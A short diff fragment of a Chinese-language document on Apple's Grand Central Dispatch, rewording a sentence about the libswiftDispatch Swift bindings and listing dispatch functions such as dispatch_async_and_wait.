- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): 提交一个工作项以执行，并仅在其完成执行后返回。与 [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) 不同，此函数在执行块时尊重队列的所有属性。
@@ -132,7 +132,7 @@ return 0;
```
## Swift
-**`libswiftDispatch`** 是一个库，提供 **Swift 绑定** 到最初用 C 编写的 Grand Central Dispatch (GCD) 框架。\
+**`libswiftDispatch`** 是一个库，提供 **Swift 绑定** 到 Grand Central Dispatch (GCD) 框架，该框架最初是用 C 编写的。\
**`libswiftDispatch`** 库将 C GCD API 封装在一个更适合 Swift 的接口中，使 Swift 开发者更容易和直观地使用 GCD。
- **`DispatchQueue.global().sync{ ... }`**
@@ -195,14 +195,14 @@ Backtrace:
.png)
.png)
.png)
.png)